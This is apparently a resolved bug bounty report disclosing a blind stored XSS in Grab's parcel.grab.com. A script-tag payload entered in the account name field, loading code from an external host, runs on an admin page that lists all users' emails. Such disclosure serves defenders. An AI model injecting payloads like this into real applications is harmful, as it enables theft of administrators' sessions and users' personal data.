Blind stored xss [parcel.grab.com] > name parameter
Critical
G
Grab
Submitted None
Actions:
Reported by
paresh_parmar
Vulnerability Details
Technical details and impact analysis
Hi,
___my previously reported blind xss is fixed but i found same type of xss in diffrent area with more impact.___
# Steps to repro:
1. create new account with name `"><script src=https://x.com></script>` here https://parcel.grab.com/
2. afftected page is https://app.detrack.com/a/
where admin can see all the user's of application
and this is one more impact full because it contains all the user's email address. attacker can hijack all the information from there using xss
affeffcted page poc:
{F204498██████████
3. go here https://app.detrack.com/a/ and find ████████ , that is my account with xss payload.
thanks
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$750.00
Submitted
Weakness
Cross-site Scripting (XSS) - Stored